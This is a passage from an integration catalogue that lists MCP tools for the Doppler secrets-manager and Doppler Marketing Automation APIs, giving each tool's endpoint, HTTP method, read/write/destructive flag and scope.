/api/v1/doppler/v3/projects/project. Scopes: api. doppler_delete_v3_projects_project_members_member_by_type_by_slug (write, destructive) — Delete via DELETE /v3/projects/project/members/member/{type}/{slug} DELETE /api/v1/doppler/v3/projects/project/members/member/{type}/{slug}. Scopes: api. doppler_delete_v3_projects_roles_role_by_role (write, destructive) — Delete via DELETE /v3/projects/roles/role/{role} DELETE /api/v1/doppler/v3/projects/roles/role/{role}. Scopes: api. doppler_delete_v3_webhooks_webhook_by_slug (write, destructive) — Webhook via DELETE /v3/webhooks/webhook/{slug} DELETE /api/v1/doppler/v3/webhooks/webhook/{slug}. Scopes: api. doppler_delete_v3_workplace_change_request_policies_change_request_policy_by_slug (write, destructive) — Delete an existing change request policy via DELETE /v3/workplace/change_request_policies/change_request_policy/{slug} DELETE /api/v1/doppler/v3/workplace/change_request_policies/change_request_policy/{slug}. Scopes: api. doppler_delete_v3_workplace_change_requests_change_request_by_change_request_id_units_unit_by_unit_id_review (write, destructive) — Change requests units review delete via DELETE /v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/review DELETE /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/review. Scopes: api. doppler_delete_v3_workplace_groups_group_by_slug (write, destructive) — Delete via DELETE /v3/workplace/groups/group/{slug} DELETE /api/v1/doppler/v3/workplace/groups/group/{slug}. Scopes: api. doppler_delete_v3_workplace_groups_group_by_slug_members_by_type_by_member_slug (write, destructive) — Delete Member via DELETE /v3/workplace/groups/group/{slug}/members/{type}/{member_slug} DELETE /api/v1/doppler/v3/workplace/groups/group/{slug}/members/{type}/{member_slug}. Scopes: api. doppler_delete_v3_workplace_integrations_integration_members_by_type_by_slug (write, destructive) — Delete via DELETE /v3/workplace/integrations/integration/members/{type}/{slug} DELETE /api/v1/doppler/v3/workplace/integrations/integration/members/{type}/{slug}. Scopes: api. doppler_delete_v3_workplace_roles_role_by_role (write, destructive) — Delete via DELETE /v3/workplace/roles/role/{role} DELETE /api/v1/doppler/v3/workplace/roles/role/{role}. Scopes: api. doppler_delete_v3_workplace_service_accounts_service_account_by_service_account_identities_identity_by_identity (write, destructive) — Service account identities delete via DELETE /v3/workplace/service_accounts/service_account/{service_account}/identities/identity/{identity} DELETE /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/identities/identity/{identity}. Scopes: api. doppler_delete_v3_workplace_service_accounts_service_account_by_service_account_tokens_token_by_api_token (write, destructive) — Revoke an existing service account API token. via DELETE /v3/workplace/service_accounts/service_account/{service_account}/tokens/token/{api_token} DELETE /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/tokens/token/{api_token}. Scopes: api. doppler_delete_v3_workplace_service_accounts_service_account_by_slug (write, destructive) — Delete via DELETE /v3/workplace/service_accounts/service_account/{slug} DELETE /api/v1/doppler/v3/workplace/service_accounts/service_account/{slug}. Scopes: api. doppler_get_v3_configs (read) — Fetch all configs. via GET /v3/configs GET /api/v1/doppler/v3/configs. Scopes: api. doppler_get_v3_configs_config (read) — Fetch a config's details. via GET /v3/configs/config GET /api/v1/doppler/v3/configs/config. Scopes: api. doppler_get_v3_configs_config_logs (read) — Config Logs via GET /v3/configs/config/logs GET /api/v1/doppler/v3/configs/config/logs. Scopes: api. doppler_get_v3_configs_config_logs_log (read) — Config Log via GET /v3/configs/config/logs/log GET /api/v1/doppler/v3/configs/config/logs/log. Scopes: api. doppler_get_v3_configs_config_secret (read) — Secret via GET /v3/configs/config/secret GET /api/v1/doppler/v3/configs/config/secret. Scopes: api. doppler_get_v3_configs_config_secrets (read) — Secrets via GET /v3/configs/config/secrets GET /api/v1/doppler/v3/configs/config/secrets. Scopes: api. doppler_get_v3_configs_config_secrets_download (read) — Download Secrets via GET /v3/configs/config/secrets/download GET /api/v1/doppler/v3/configs/config/secrets/download. Scopes: api. doppler_get_v3_configs_config_secrets_names (read) — Secret Names via GET /v3/configs/config/secrets/names GET /api/v1/doppler/v3/configs/config/secrets/names. Scopes: api. doppler_get_v3_configs_config_syncs_sync (read) — Retrieve an existing secrets sync. via GET /v3/configs/config/syncs/sync GET /api/v1/doppler/v3/configs/config/syncs/sync. Scopes: api. doppler_get_v3_configs_config_tokens (read) — Service Tokens via GET /v3/configs/config/tokens GET /api/v1/doppler/v3/configs/config/tokens. Scopes: api. doppler_get_v3_configs_config_trusted_ips (read) — List via GET /v3/configs/config/trusted_ips GET /api/v1/doppler/v3/configs/config/trusted_ips. Scopes: api. doppler_get_v3_environments (read) — Environments via GET /v3/environments GET /api/v1/doppler/v3/environments. Scopes: api. doppler_get_v3_environments_environment (read) — Environment via GET /v3/environments/environment GET /api/v1/doppler/v3/environments/environment. Scopes: api. doppler_get_v3_integrations (read) — List all existing integrations via GET /v3/integrations GET /api/v1/doppler/v3/integrations. Scopes: api. doppler_get_v3_integrations_integration (read) — Retrieve an existing integration via GET /v3/integrations/integration GET /api/v1/doppler/v3/integrations/integration. Scopes: api. doppler_get_v3_integrations_integration_members (read) — List via GET /v3/integrations/integration/members GET /api/v1/doppler/v3/integrations/integration/members. Scopes: api. doppler_get_v3_integrations_integration_options (read) — Get Options via GET /v3/integrations/integration/options GET /api/v1/doppler/v3/integrations/integration/options. Scopes: api. doppler_get_v3_logs (read) — Activity Logs via GET /v3/logs GET /api/v1/doppler/v3/logs. Scopes: api. doppler_get_v3_logs_log (read) — Activity Log via GET /v3/logs/log GET /api/v1/doppler/v3/logs/log. Scopes: api. doppler_get_v3_me (read) — Get information about a token via GET /v3/me GET /api/v1/doppler/v3/me. Scopes: api. doppler_get_v3_projects (read) — Projects via GET /v3/projects GET /api/v1/doppler/v3/projects. Scopes: api. doppler_get_v3_projects_permissions (read) — List Permissions via GET /v3/projects/permissions GET /api/v1/doppler/v3/projects/permissions. Scopes: api. doppler_get_v3_projects_project (read) — Project via GET /v3/projects/project GET /api/v1/doppler/v3/projects/project. Scopes: api. doppler_get_v3_projects_project_members (read) — List via GET /v3/projects/project/members GET /api/v1/doppler/v3/projects/project/members. Scopes: api. doppler_get_v3_projects_project_members_member_by_type_by_slug (read) — Retrieve via GET /v3/projects/project/members/member/{type}/{slug} GET /api/v1/doppler/v3/projects/project/members/member/{type}/{slug}. Scopes: api. doppler_get_v3_projects_roles (read) — List via GET /v3/projects/roles GET /api/v1/doppler/v3/projects/roles. Scopes: api. doppler_get_v3_projects_roles_role_by_role (read) — Retrieve via GET /v3/projects/roles/role/{role} GET /api/v1/doppler/v3/projects/roles/role/{role}. Scopes: api. doppler_get_v3_webhooks (read) — Webhooks via GET /v3/webhooks GET /api/v1/doppler/v3/webhooks. Scopes: api. doppler_get_v3_webhooks_webhook_by_slug (read) — Webhook via GET /v3/webhooks/webhook/{slug} GET /api/v1/doppler/v3/webhooks/webhook/{slug}. Scopes: api. doppler_get_v3_workplace (read) — Retrieve via GET /v3/workplace GET /api/v1/doppler/v3/workplace. Scopes: api. doppler_get_v3_workplace_change_request_policies (read) — List existing change request policies via GET /v3/workplace/change_request_policies GET /api/v1/doppler/v3/workplace/change_request_policies. Scopes: api. doppler_get_v3_workplace_change_request_policies_change_request_policy_by_slug (read) — Fetch an existing change request policy via GET /v3/workplace/change_request_policies/change_request_policy/{slug} GET /api/v1/doppler/v3/workplace/change_request_policies/change_request_policy/{slug}. Scopes: api. doppler_get_v3_workplace_change_requests (read) — Change requests list via GET /v3/workplace/change_requests GET /api/v1/doppler/v3/workplace/change_requests. Scopes: api. doppler_get_v3_workplace_change_requests_change_request_by_change_request_id (read) — Change requests get via GET /v3/workplace/change_requests/change_request/{change_request_id} GET /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}. Scopes: api. doppler_get_v3_workplace_change_requests_change_request_by_change_request_id_units_unit_by_unit_id (read) — Change requests units get via GET /v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id} GET /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}. Scopes: api. doppler_get_v3_workplace_groups (read) — List via GET /v3/workplace/groups GET /api/v1/doppler/v3/workplace/groups. Scopes: api. doppler_get_v3_workplace_groups_group_by_group_slug_members_by_member_type_by_member_slug (read) — Retrieve Member via GET /v3/workplace/groups/group/{group_slug}/members/{member_type}/{member_slug} GET /api/v1/doppler/v3/workplace/groups/group/{group_slug}/members/{member_type}/{member_slug}. Scopes: api. doppler_get_v3_workplace_groups_group_by_slug (read) — Retrieve via GET /v3/workplace/groups/group/{slug} GET /api/v1/doppler/v3/workplace/groups/group/{slug}. Scopes: api. doppler_get_v3_workplace_integrations_integration_members_by_type_by_slug (read) — Retrieve via GET /v3/workplace/integrations/integration/members/{type}/{slug} GET /api/v1/doppler/v3/workplace/integrations/integration/members/{type}/{slug}. Scopes: api. doppler_get_v3_workplace_integrations_integration_members_member_by_type_by_slug (read) — Workplace integration members get via GET /v3/workplace/integrations/integration/members/member/{type}/{slug} GET /api/v1/doppler/v3/workplace/integrations/integration/members/member/{type}/{slug}. Scopes: api. doppler_get_v3_workplace_invites (read) — List via GET /v3/workplace/invites GET /api/v1/doppler/v3/workplace/invites. Scopes: api. doppler_get_v3_workplace_permissions (read) — List Permissions via GET /v3/workplace/permissions GET /api/v1/doppler/v3/workplace/permissions. Scopes: api. doppler_get_v3_workplace_roles (read) — List via GET /v3/workplace/roles GET /api/v1/doppler/v3/workplace/roles. Scopes: api. doppler_get_v3_workplace_roles_role_by_role (read) — Retrieve via GET /v3/workplace/roles/role/{role} GET /api/v1/doppler/v3/workplace/roles/role/{role}. Scopes: api. doppler_get_v3_workplace_service_accounts (read) — List via GET /v3/workplace/service_accounts GET /api/v1/doppler/v3/workplace/service_accounts. Scopes: api. doppler_get_v3_workplace_service_accounts_service_account_by_service_account_identities (read) — Service account identities list via GET /v3/workplace/service_accounts/service_account/{service_account}/identities GET /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/identities. Scopes: api. doppler_get_v3_workplace_service_accounts_service_account_by_service_account_identities_identity_by_identity (read) — Service account identities get via GET /v3/workplace/service_accounts/service_account/{service_account}/identities/identity/{identity} GET /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/identities/identity/{identity}. Scopes: api. doppler_get_v3_workplace_service_accounts_service_account_by_service_account_tokens (read) — List information about existing service account API tokens. via GET /v3/workplace/service_accounts/service_account/{service_account}/tokens GET /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/tokens. Scopes: api. doppler_get_v3_workplace_service_accounts_service_account_by_service_account_tokens_token_by_api_token (read) — Retrieve information about a single service account API token. via GET /v3/workplace/service_accounts/service_account/{service_account}/tokens/token/{api_token} GET /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/tokens/token/{api_token}. Scopes: api. doppler_get_v3_workplace_service_accounts_service_account_by_slug (read) — Retrieve via GET /v3/workplace/service_accounts/service_account/{slug} GET /api/v1/doppler/v3/workplace/service_accounts/service_account/{slug}. Scopes: api. doppler_get_v3_workplace_users (read) — Get all users within a workplace via GET /v3/workplace/users GET /api/v1/doppler/v3/workplace/users. Scopes: api. doppler_get_v3_workplace_users_by_slug (read) — Get a specific user in a workplace via GET /v3/workplace/users/{slug} GET /api/v1/doppler/v3/workplace/users/{slug}. Scopes: api. doppler_get_v3_workplace_users_by_workplace_user_id (read) — Get a specific user in a workplace via GET /v3/workplace/users/{workplace_user_id} GET /api/v1/doppler/v3/workplace/users/{workplace_user_id}. Scopes: api. doppler_patch_v3_integrations_integration_members_by_type_by_slug (write) — Update via PATCH /v3/integrations/integration/members/{type}/{slug} PATCH /api/v1/doppler/v3/integrations/integration/members/{type}/{slug}. Scopes: api. doppler_patch_v3_projects_project_members_member_by_type_by_slug (write) — Update via PATCH /v3/projects/project/members/member/{type}/{slug} PATCH /api/v1/doppler/v3/projects/project/members/member/{type}/{slug}. Scopes: api. doppler_patch_v3_projects_roles_role_by_role (write) — Update via PATCH /v3/projects/roles/role/{role} PATCH /api/v1/doppler/v3/projects/roles/role/{role}. Scopes: api. doppler_patch_v3_webhooks_webhook_by_slug (write) — Webhook via PATCH /v3/webhooks/webhook/{slug} PATCH /api/v1/doppler/v3/webhooks/webhook/{slug}. Scopes: api. doppler_patch_v3_workplace_groups_group_by_slug (write) — Update via PATCH /v3/workplace/groups/group/{slug} PATCH /api/v1/doppler/v3/workplace/groups/group/{slug}. Scopes: api. doppler_patch_v3_workplace_roles_role_by_role (write) — Update via PATCH /v3/workplace/roles/role/{role} PATCH /api/v1/doppler/v3/workplace/roles/role/{role}. Scopes: api. doppler_patch_v3_workplace_service_accounts_service_account_by_slug (write) — Update via PATCH /v3/workplace/service_accounts/service_account/{slug} PATCH /api/v1/doppler/v3/workplace/service_accounts/service_account/{slug}. Scopes: api. doppler_patch_v3_workplace_users_by_slug (write) — Update a specific user for a workplace via PATCH /v3/workplace/users/{slug} PATCH /api/v1/doppler/v3/workplace/users/{slug}. Scopes: api. doppler_post_v3_configs (write) — Create a new branch config. via POST /v3/configs POST /api/v1/doppler/v3/configs. Scopes: api. doppler_post_v3_configs_config (write) — Modify an existing config. via POST /v3/configs/config POST /api/v1/doppler/v3/configs/config. Scopes: api. doppler_post_v3_configs_config_clone (write) — Create a new branch config by cloning another. This duplicates a branch config and all its secrets. via POST /v3/configs/config/clone POST /api/v1/doppler/v3/configs/config/clone. Scopes: api. doppler_post_v3_configs_config_dynamic_secrets_dynamic_secret_leases (write) — Issue a lease for a dynamic secret via POST /v3/configs/config/dynamic_secrets/dynamic_secret/leases POST /api/v1/doppler/v3/configs/config/dynamic_secrets/dynamic_secret/leases. Scopes: api. doppler_post_v3_configs_config_inheritable (write) — Update the inheritability of a config. via POST /v3/configs/config/inheritable POST /api/v1/doppler/v3/configs/config/inheritable. Scopes: api. doppler_post_v3_configs_config_inherits (write) — Inherits via POST /v3/configs/config/inherits POST /api/v1/doppler/v3/configs/config/inherits. Scopes: api. doppler_post_v3_configs_config_lock (write) — Prevent the config from being renamed or deleted. via POST /v3/configs/config/lock POST /api/v1/doppler/v3/configs/config/lock. Scopes: api. doppler_post_v3_configs_config_logs_log_rollback (write) — Config Log via POST /v3/configs/config/logs/log/rollback POST /api/v1/doppler/v3/configs/config/logs/log/rollback. Scopes: api. doppler_post_v3_configs_config_secrets (write) — Secrets via POST /v3/configs/config/secrets POST /api/v1/doppler/v3/configs/config/secrets. Scopes: api. doppler_post_v3_configs_config_syncs (write) — Create a new secrets sync. via POST /v3/configs/config/syncs POST /api/v1/doppler/v3/configs/config/syncs. Scopes: api. doppler_post_v3_configs_config_tokens (write) — Service Token via POST /v3/configs/config/tokens POST /api/v1/doppler/v3/configs/config/tokens. Scopes: api. doppler_post_v3_configs_config_trusted_ips (write) — Add via POST /v3/configs/config/trusted_ips POST /api/v1/doppler/v3/configs/config/trusted_ips. Scopes: api. doppler_post_v3_configs_config_unlock (write) — Allow the config to be renamed and/or deleted. via POST /v3/configs/config/unlock POST /api/v1/doppler/v3/configs/config/unlock. Scopes: api. doppler_post_v3_environments (write) — Environment via POST /v3/environments POST /api/v1/doppler/v3/environments. Scopes: api. doppler_post_v3_integrations (write) — Create a new external integration. via POST /v3/integrations POST /api/v1/doppler/v3/integrations. Scopes: api. doppler_post_v3_integrations_integration_members (write) — Add via POST /v3/integrations/integration/members POST /api/v1/doppler/v3/integrations/integration/members. Scopes: api. doppler_post_v3_projects (write) — Project via POST /v3/projects POST /api/v1/doppler/v3/projects. Scopes: api. doppler_post_v3_projects_project (write) — Project via POST /v3/projects/project POST /api/v1/doppler/v3/projects/project. Scopes: api. doppler_post_v3_projects_project_members (write) — Add via POST /v3/projects/project/members POST /api/v1/doppler/v3/projects/project/members. Scopes: api. doppler_post_v3_projects_project_note (write) — Set a note on a secret via POST /v3/projects/project/note POST /api/v1/doppler/v3/projects/project/note. Scopes: api. doppler_post_v3_projects_roles (write) — Create via POST /v3/projects/roles POST /api/v1/doppler/v3/projects/roles. Scopes: api. doppler_post_v3_webhooks (write) — Webhook via POST /v3/webhooks POST /api/v1/doppler/v3/webhooks. Scopes: api. doppler_post_v3_webhooks_webhook_by_slug_disable (write) — Webhook via POST /v3/webhooks/webhook/{slug}/disable POST /api/v1/doppler/v3/webhooks/webhook/{slug}/disable. Scopes: api. doppler_post_v3_webhooks_webhook_by_slug_enable (write) — Webhook via POST /v3/webhooks/webhook/{slug}/enable POST /api/v1/doppler/v3/webhooks/webhook/{slug}/enable. Scopes: api. doppler_post_v3_workplace (write) — Update via POST /v3/workplace POST /api/v1/doppler/v3/workplace. Scopes: api. doppler_post_v3_workplace_change_request_policies (write) — Create a new change request policy via POST /v3/workplace/change_request_policies POST /api/v1/doppler/v3/workplace/change_request_policies. Scopes: api. doppler_post_v3_workplace_change_request_policies_change_request_policy_by_slug (write) — Update an existing change request policy via POST /v3/workplace/change_request_policies/change_request_policy/{slug} POST /api/v1/doppler/v3/workplace/change_request_policies/change_request_policy/{slug}. Scopes: api. doppler_post_v3_workplace_change_requests (write) — Change requests create via POST /v3/workplace/change_requests POST /api/v1/doppler/v3/workplace/change_requests. Scopes: api. doppler_post_v3_workplace_change_requests_change_request_by_change_request_id (write) — Change requests update via POST /v3/workplace/change_requests/change_request/{change_request_id} POST /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}. Scopes: api. doppler_post_v3_workplace_change_requests_change_request_by_change_request_id_close (write) — Change requests close via POST /v3/workplace/change_requests/change_request/{change_request_id}/close POST /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}/close. Scopes: api. doppler_post_v3_workplace_change_requests_change_request_by_change_request_id_units_unit_by_unit_id_apply (write) — Change requests units apply via POST /v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/apply POST /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/apply. Scopes: api. doppler_post_v3_workplace_change_requests_change_request_by_change_request_id_units_unit_by_unit_id_review (write) — Change requests units review create via POST /v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/review POST /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/review. Scopes: api. doppler_post_v3_workplace_groups (write) — Create via POST /v3/workplace/groups POST /api/v1/doppler/v3/workplace/groups. Scopes: api. doppler_post_v3_workplace_groups_group_by_slug_members (write) — Add Member via POST /v3/workplace/groups/group/{slug}/members POST /api/v1/doppler/v3/workplace/groups/group/{slug}/members. Scopes: api. doppler_post_v3_workplace_roles (write) — Create via POST /v3/workplace/roles POST /api/v1/doppler/v3/workplace/roles. Scopes: api. doppler_post_v3_workplace_service_accounts (write) — Create via POST /v3/workplace/service_accounts POST /api/v1/doppler/v3/workplace/service_accounts. Scopes: api. doppler_post_v3_workplace_service_accounts_service_account_by_service_account_identities (write) — Service account identities create via POST /v3/workplace/service_accounts/service_account/{service_account}/identities POST /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/identities. Scopes: api. doppler_post_v3_workplace_service_accounts_service_account_by_service_account_tokens (write) — Generate a new service account API token. via POST /v3/workplace/service_accounts/service_account/{service_account}/tokens POST /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/tokens. Scopes: api. doppler_put_v3_environments_environment (write) — Environment via PUT /v3/environments/environment PUT /api/v1/doppler/v3/environments/environment. Scopes: api. doppler_put_v3_integrations_integration (write) — Update an existing integration. via PUT /v3/integrations/integration PUT /api/v1/doppler/v3/integrations/integration. Scopes: api. doppler_put_v3_workplace_change_requests_change_request_by_change_request_id_assignees (write) — Change requests assignees update via PUT /v3/workplace/change_requests/change_request/{change_request_id}/assignees PUT /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}/assignees. Scopes: api. doppler_put_v3_workplace_change_requests_change_request_by_change_request_id_units_unit_by_unit_id_status (write) — Change requests units status update via PUT /v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/status PUT /api/v1/doppler/v3/workplace/change_requests/change_request/{change_request_id}/units/unit/{unit_id}/status. Scopes: api. doppler_put_v3_workplace_service_accounts_service_account_by_service_account_identities_identity_by_identity (write) — Service account identities update via PUT /v3/workplace/service_accounts/service_account/{service_account}/identities/identity/{identity} PUT /api/v1/doppler/v3/workplace/service_accounts/service_account/{service_account}/identities/identity/{identity}. Scopes: api. ================================================================================ ## Doppler Marketing Automation URL: https://www.agenticfabriq.com/integrations/dopplermarketing Section: Integrated Tools Doppler Marketing Automation — 68 MCP tools Provider key: dopplermarketing. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dopplermarketing_delete_accounts_by_accountname_campaigns_by_campaignid (write, destructive) — Remove a campaign. Via DELETE /accounts//campaigns/{campaignId} DELETE /api/v1/dopplermarketing/accounts/campaigns/{campaignId}. Scopes: api. dopplermarketing_delete_accounts_by_accountname_campaigns_by_campaignid_content_text_alternative (write, destructive) — Remove the plain-text alternative from a campaign's content. Via DELETE /accounts//campaigns/{campaignId}/content/text-alternative DELETE /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/content/text-alternative. Scopes: api. dopplermarketing_delete_accounts_by_accountname_campaigns_by_campaignid_shippings_by_shippingid (write, destructive) — Cancel the shipping of a scheduled campaign. Via DELETE /accounts//campaigns/{campaignId}/shippings/{shippingId} DELETE /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/shippings/{shippingId}. Scopes: api. dopplermarketing_delete_accounts_by_accountname_integrations_by_integrationname (write, destructive) — Delete a third-party app integration from the account. Via DELETE /accounts//integrations/{integrationName} DELETE /api/v1/dopplermarketing/accounts/integrations/{integrationName}. Scopes: api. dopplermarketing_delete_accounts_by_accountname_lists_by_listid (write, destructive) — Delete a subscriber list. Via DELETE /accounts//lists/{listId} DELETE /api/v1/dopplermarketing/accounts/lists/{listId}. Scopes: api. dopplermarketing_delete_accounts_by_accountname_lists_by_listid_subscribers_by_email (write, destructive) — Remove a subscriber from a list. The subscriber is not deleted from the account: it stays inactive and stops receiving campaigns. Via DELETE /accounts//lists/{listId}/subscribers/{email} DELETE /api/v1/dopplermarketing/accounts/lists/{listId}/subscribers/{email}. Scopes: api. dopplermarketing_get (read) — Get the API index. With this connection's key it names the authenticated user and links to the account home. Via GET / GET /api/v1/dopplermarketing/. Scopes: api. dopplermarketing_get_accounts_by_accountname (read) — Get the connected account's home resource. Via GET /accounts/ GET /api/v1/dopplermarketing/accounts. Scopes: api. dopplermarketing_get_accounts_by_accountname_automations_deliverabilityrate_by_scheduledtaskid (read) — Get the deliverability rate of an automation. Via GET /accounts//automations/deliverabilityrate/{scheduledTaskId} GET /api/v1/dopplermarketing/accounts/automations/deliverabilityrate/{scheduledTaskId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_automations_linkstracking_by_scheduledtaskid (read) — Get the link-tracking results of an automation. Via GET /accounts//automations/linkstracking/{scheduledTaskId} GET /api/v1/dopplermarketing/accounts/automations/linkstracking/{scheduledTaskId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_automations_lists (read) — Get a collection of the account's automations. Via GET /accounts//automations/lists GET /api/v1/dopplermarketing/accounts/automations/lists. Scopes: api. dopplermarketing_get_accounts_by_accountname_automations_opensandclicks_by_scheduledtaskid (read) — Get the opens and clicks of an automation. Via GET /accounts//automations/opensandclicks/{scheduledTaskId} GET /api/v1/dopplermarketing/accounts/automations/opensandclicks/{scheduledTaskId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_automations_summary_by_scheduledtaskid (read) — Summary report for an automation: delivery, open and bounce rates. Via GET /accounts//automations/summary/{scheduledTaskId} GET /api/v1/dopplermarketing/accounts/automations/summary/{scheduledTaskId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_automations_unsubscribeactivity_by_scheduledtaskid (read) — Get the unsubscribe activity of an automation. Via GET /accounts//automations/unsubscribeactivity/{scheduledTaskId} GET /api/v1/dopplermarketing/accounts/automations/unsubscribeactivity/{scheduledTaskId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns (read) — Get a page of the account's campaigns, optionally filtered by state or scheduled date. Via GET /accounts//campaigns GET /api/v1/dopplermarketing/accounts/campaigns. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid (read) — Get one campaign. Via GET /accounts//campaigns/{campaignId} GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_content (read) — Get a campaign's content (Doppler answers text/html, returned as raw text). Via GET /accounts//campaigns/{campaignId}/content GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/content. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_content_text_alternative (read) — Get the plain-text alternative of a campaign's content: the version a mail client shows when it cannot display the HTML. Via GET /accounts//campaigns/{campaignId}/content/text-alternative GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/content/text-alternative. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_deliveries (read) — Get a campaign's delivery details per subscriber. Via GET /accounts//campaigns/{campaignId}/deliveries GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/deliveries. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_preview (read) — Get a campaign's preview. Via GET /accounts//campaigns/{campaignId}/preview GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/preview. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_recipients (read) — Get the recipients (lists or segments) a campaign is addressed to. Via GET /accounts//campaigns/{campaignId}/recipients GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/recipients. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_results_summary (read) — Get the report summary of a sent campaign. Via GET /accounts//campaigns/{campaignId}/results-summary GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/results-summary. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_shippings_by_shippingid (read) — Get the details of a scheduled campaign shipping. Via GET /accounts//campaigns/{campaignId}/shippings/{shippingId} GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/shippings/{shippingId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_social_media (read) — Get a campaign's social media preferences. Via GET /accounts//campaigns/{campaignId}/social-media GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/social-media. Scopes: api. dopplermarketing_get_accounts_by_accountname_campaigns_by_campaignid_unsubscribed (read) — Get the subscribers who unsubscribed through a campaign. Via GET /accounts//campaigns/{campaignId}/unsubscribed GET /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/unsubscribed. Scopes: api. dopplermarketing_get_accounts_by_accountname_dobleoptintemplate_by_templateid (read) — Get a double opt-in confirmation template. Via GET /accounts//DobleOptinTemplate/{templateId} GET /api/v1/dopplermarketing/accounts/DobleOptinTemplate/{templateId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_fields (read) — Get the account's subscriber fields. Via GET /accounts//fields GET /api/v1/dopplermarketing/accounts/fields. Scopes: api. dopplermarketing_get_accounts_by_accountname_integrations_by_integrationname (read) — Get the status of a third-party integration on the account. Via GET /accounts//integrations/{integrationName} GET /api/v1/dopplermarketing/accounts/integrations/{integrationName}. Scopes: api. dopplermarketing_get_accounts_by_accountname_lists (read) — Get a page of the account's subscriber lists. Via GET /accounts//lists GET /api/v1/dopplermarketing/accounts/lists. Scopes: api. dopplermarketing_get_accounts_by_accountname_lists_by_listid (read) — Get one subscriber list. Via GET /accounts//lists/{listId} GET /api/v1/dopplermarketing/accounts/lists/{listId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_lists_by_listid_subscribers (read) — Get the subscribers of a list, in pages of up to 100 items. Via GET /accounts//lists/{listId}/subscribers GET /api/v1/dopplermarketing/accounts/lists/{listId}/subscribers. Scopes: api. dopplermarketing_get_accounts_by_accountname_subscribers (read) — Get the account's subscribers, in pages of up to 100 items. Via GET /accounts//subscribers GET /api/v1/dopplermarketing/accounts/subscribers. Scopes: api. dopplermarketing_get_accounts_by_accountname_subscribers_by_email (read) — Get one subscriber by email. Via GET /accounts//subscribers/{email} GET /api/v1/dopplermarketing/accounts/subscribers/{email}. Scopes: api. dopplermarketing_get_accounts_by_accountname_subscribers_by_email_deliveries (read) — Get a subscriber's delivery details for every campaign sent to it. Via GET /accounts//subscribers/{email}/deliveries GET /api/v1/dopplermarketing/accounts/subscribers/{email}/deliveries. Scopes: api. dopplermarketing_get_accounts_by_accountname_subscribers_by_email_permissions_history_by_fieldname (read) — Get the update history of one of a subscriber's permission fields. Via GET /accounts//subscribers/{email}/permissions-history/{fieldName} GET /api/v1/dopplermarketing/accounts/subscribers/{email}/permissions-history/{fieldName}. Scopes: api. dopplermarketing_get_accounts_by_accountname_tasks (read) — Get the account's background tasks (imports and similar). Via GET /accounts//tasks GET /api/v1/dopplermarketing/accounts/tasks. Scopes: api. dopplermarketing_get_accounts_by_accountname_tasks_by_taskid (read) — Get one background task. Via GET /accounts//tasks/{taskId} GET /api/v1/dopplermarketing/accounts/tasks/{taskId}. Scopes: api. dopplermarketing_get_accounts_by_accountname_tasks_by_taskid_import_errors (read) — Get the errors an import task recorded. Via GET /accounts//tasks/{taskId}/import-errors GET /api/v1/dopplermarketing/accounts/tasks/{taskId}/import-errors. Scopes: api. dopplermarketing_get_accounts_by_accountname_unsubscribed (read) — Get the subscribers who unsubscribed from the account's 